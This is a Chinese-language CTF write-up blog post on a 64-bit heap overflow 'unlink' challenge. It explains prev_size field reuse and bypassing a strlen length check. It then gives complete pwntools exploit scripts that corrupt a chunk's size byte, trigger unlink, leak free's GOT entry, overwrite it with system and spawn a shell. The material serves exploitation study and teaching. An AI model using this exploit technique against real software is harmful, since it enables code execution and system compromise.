美文网首页
heapoverflow_unlink

heapoverflow_unlink

作者: v1gor | 来源:发表于2019-11-02 13:38 被阅读0次

    有助于理解 堆内存分配时的 presize 复用

    unlink

    main函数

    main函数是比较常见的套路

    main.png

    分析

    这一题有两个防止简单的堆溢出的方法:

    • 每次free后将堆指针从全局数组中清零

    • 每次edit之前,用strlen对输入进行长度限制。

    但是这题还是可以实现unlink的,原理就是堆溢出,只不过这里的溢出需要绕过strlen的限制。

    strlen.png

    首先回顾一下堆的知识,当申请的堆块大小不为对齐单位的整数倍时(对齐单位:32位下是8字节对齐,64位下是16字节对齐),下个申请的堆块的presize将会和这个堆块的数据块复用。当时看教程我也不是很理解这块,但是通过对这一题的分析帮助我掌握了这个知识点,接下来实验一下:

    测试脚本如下:

    from pwn import *
    
    io = process("./unlink1")
    io.sendline("1")#0
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("A"*128)
    io.sendline("1")#1
    io.recvuntil("size:")
    io.sendline("129")
    io.sendline("B"*129)
    io.sendline("1")#2
    io.recvuntil("size:")
    io.sendline("136")
    io.sendline("C"*136)
    io.sendline("1")#3
    io.recvuntil("size:")
    io.sendline("137")
    io.sendline("D"*137)
    io.sendline("1")#4
    io.recvuntil("size:")
    io.sendline("128")
    io.sendline("F"*128)
    
    io.interactive()
    

    gdb调试,从#0号堆块开始,看堆的内存分布:

    heap_test.png

    这里有两个值得注意的点:

    • 虽然#1、#2、#4申请的内存空间不同,分别为0x81,0x88和0x80。但是在堆块中的size字段却都显示为0x90,去除每个堆块的头部(0x10个字节)以及标志位,则实际堆块中记录size的大小都为0x80;

      再看#3这个堆块,我申请时申请了0x89字节,但是实际分配的却是0x90个字节(去掉标志位)

      对于#3堆块的大小,由于知道64位程序中堆大小是16字节对齐的,所以没有感到意外;但是#2和#3这两个块,讲道理也应该实际分配0x90个字节(也就是size字段应该显示0xa0)才对吧?

      这种现象就是上一个堆块对下一个堆块的presize字段的复用,也就是说,在64位程序中,当

      (申请的堆块大小)% 16 > 0

      (申请的堆块大小)% 16 < 8

      时,多出来的那些字节将会存储在下一个堆块的presize字段中,从而不计入当前申请堆块的大小。

    • 考虑绕过strlen:注意到#2这个堆块,它的最后4个字节恰好填充了下一个堆块(#3)的presize字段,和#3块的size拼接在了一起,因此,如果对#2使用strlen,将会返回0x88 + 1,也就是说,我们能够通过这种方式覆盖#3堆块的size字段的最后一个字节,从而将标志位修改为0(表示上一个堆块没在使用);之后,free(#3)将会触发unlink,因此只需要在一开始写入#2数据时布置好double free需要的指针即可。

    这题的破解脚本如下(这题给了libc所以使用本机libc,但是不知道为什么dynelf不能用,,,):

    from pwn import *
    io = process("./unlink1")
    io.sendline("1")#0
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("01")
    io.sendline("1")#1
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("/bin/sh\x00")
    io.sendline("1")#2
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("02")
    io.sendline("1")#3
    io.recvuntil("size:")
    io.sendline("136")#128 + 8, to reuse the presize and 
    io.recvuntil("note:")
    
    io.sendline("A"*136)
    io.sendline("1")#4
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("B" * 128)
    
    payload = p64(0) + p64(128) + p64(0x06020C0) + p64(0x6020c8) + "A" * (136 - 4 * 8 - 8)+ p64(0x80) + "\x90"
    io.sendline("4")
    io.recvuntil("index:")
    io.sendline("3")#edit #3 to cover lowest byte of the size of #4
    io.recvuntil("note:")
    io.sendline(payload)
    io.recv()
    
    io.sendline("2")
    io.recv()
    io.sendline("4")#delete #4 double free
    io.recv()
    free_addr = 0x07B4E0
    system_addr = 0x03F450
    free_got = 0x602018
    
    io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
    io.recv()
    io.sendline("3")
    io.sendline(p64(free_got))
    io.recv()
    io.sendline("3")#leak free's real addr
    io.recv()
    io.sendline("0")
    io.recvuntil("Note: \n")
    data = io.recv(8)
    io.recv()
    system = system_addr - free_addr + int(data[::-1][2:].encode("hex"),16)
    
    io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
    io.recv()
    io.sendline("3")
    io.sendline(p64(free_got))#ready to modify free got to sys_addr
    io.recv()
    
    io.sendline("4")#change free to system
    io.recv()
    io.sendline("0")
    io.sendline(p64(system))
    io.recv()
    
    io.sendline("2")#system("\bin\sh")
    io.recv()
    io.sendline("1")
    #io.recv()
    io.interactive()
    

    dynelf的版本如下,跑到一半卡住了不知道为啥:

    from pwn import *
    io = process("./unlink1")
    io.sendline("1")#0
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("01")
    io.sendline("1")#1
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("/bin/sh\x00")
    io.sendline("1")#2
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("02")
    io.sendline("1")#3
    io.recvuntil("size:")
    io.sendline("136")#128 + 8, to reuse the presize and 
    io.recvuntil("note:")
    
    io.sendline("A"*136)
    io.sendline("1")#4
    io.recvuntil("size:")
    io.sendline("128")
    io.recvuntil("note:")
    io.sendline("B" * 128)
    
    payload = p64(0) + p64(128) + p64(0x06020C0) + p64(0x6020c8) + "A" * (136 - 4 * 8 - 8)+ p64(0x80) + "\x90"
    io.sendline("4")
    io.recvuntil("index:")
    io.sendline("3")#edit #3 to cover lowest byte of the size of #4
    io.recvuntil("note:")
    io.sendline(payload)
    io.recv()
    
    io.sendline("2")
    io.recv()
    io.sendline("4")#delete #4 double free
    io.recv()
    
    
     def leak(addr):
        io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
        io.recv()
        io.sendline("3")
        io.sendline(p64(addr))#addr of #1
        io.recv()
        io.sendline("3")#show contain of certain addr
        io.recv()
        io.sendline("0")
        io.recvuntil("Note: \n")
        data = io.recv(8)
        print "%x:%s"%(addr,data.encode("hex"))
        io.recv()
        return data
    
    d = DynELF(leak,elf=ELF("./unlink1"))
    system = d.lookup("system","libc")
    free_got = 0x602018
    
    io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
    io.recv()
    io.sendline("3")
    io.sendline(p64(free_got))
    io.recv()
    io.sendline("3")#leak free's real addr
    io.recv()
    io.sendline("0")
    io.recvuntil("Note: \n")
    data = io.recv(8)
    io.recv()
    
    io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
    io.recv()
    io.sendline("3")
    io.sendline(p64(free_got))#ready to modify free got to sys_addr
    io.recv()
    
    io.sendline("4")#change free to system
    io.recv()
    io.sendline("0")
    io.sendline(p64(system))
    io.recv()
    
    io.sendline("2")#system("\bin\sh")
    io.recv()
    io.sendline("1")
    #io.recv()
    io.interactive()

    相关文章

      网友评论

          本文标题:heapoverflow_unlink

          本文链接:https://www.haomeiwen.com/subject/crptbctx.html